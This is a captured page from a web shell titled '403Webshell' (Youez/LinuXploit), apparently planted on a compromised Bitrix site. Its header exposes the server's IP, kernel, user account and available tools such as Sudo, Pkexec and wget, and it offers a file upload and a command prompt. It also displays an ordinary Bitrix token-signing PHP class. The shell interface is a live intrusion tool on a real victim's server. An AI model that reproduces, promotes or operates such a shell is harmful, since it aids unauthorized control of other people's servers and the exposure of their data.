403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/main/lib/engine/actionfilter/service/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/main/lib/engine/actionfilter/service/token.php
<?php

namespace Bitrix\Main\Engine\ActionFilter\Service;

use Bitrix\Main\Security;
use Bitrix\Main\ArgumentOutOfRangeException;

/**
 * Class Token
 *
 * @package Bitrix\Main\Engine\ActionFilter\Service
 */
class Token
{
	protected const SALT_PREFIX = 'token_actionfilter';
	protected const TTL = 60 * 60 * 3;

	protected const HEADER_ENTITY = 'X-Bitrix-Sign-Entity';
	protected const HEADER_TOKEN = 'X-Bitrix-Sign-Token';

	/** @var Security\Sign\Signer */
	protected $signer;
	/** @var int */
	protected $userId;

	public static function getEntityHeader(): string
	{
		return self::HEADER_ENTITY;
	}

	public static function getTokenHeader(): string
	{
		return self::HEADER_TOKEN;
	}

	public function __construct(int $userId = 0)
	{
		static $signerInstance = null;

		if ($userId <= 0)
		{
			throw new ArgumentOutOfRangeException('Invalid user ID');
		}

		if ($signerInstance === null)
		{
			$signerInstance = new Security\Sign\TimeSigner();
		}

		$this->signer = $signerInstance;
		$this->userId = $userId;
	}

	/**
	 * @param $value string
	 * @return string
	 */
	public function generate(string $value = ''): string
	{
		return $this->getSigner()->sign($value, (time() + self::TTL), $this->getSalt($value));
	}

	/**
	 * @param $signedValue string
	 * @param $userId int
	 * @return string
	 */
	public function unsign(string $signedValue = '', string $payloadEntityValue = ''): string
	{
		return $this->getSigner()->unsign($signedValue, $this->getSalt($payloadEntityValue));
	}

	protected function getSigner(): Security\Sign\TimeSigner
	{
		return $this->signer;
	}

	protected function getSalt(string $value = ''): string
	{
		return mb_substr(self::SALT_PREFIX . '_' . $this->getCurrentUserId() . '_' . $value, -50);
	}

	protected function getCurrentUserId(): int
	{
		return $this->userId;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit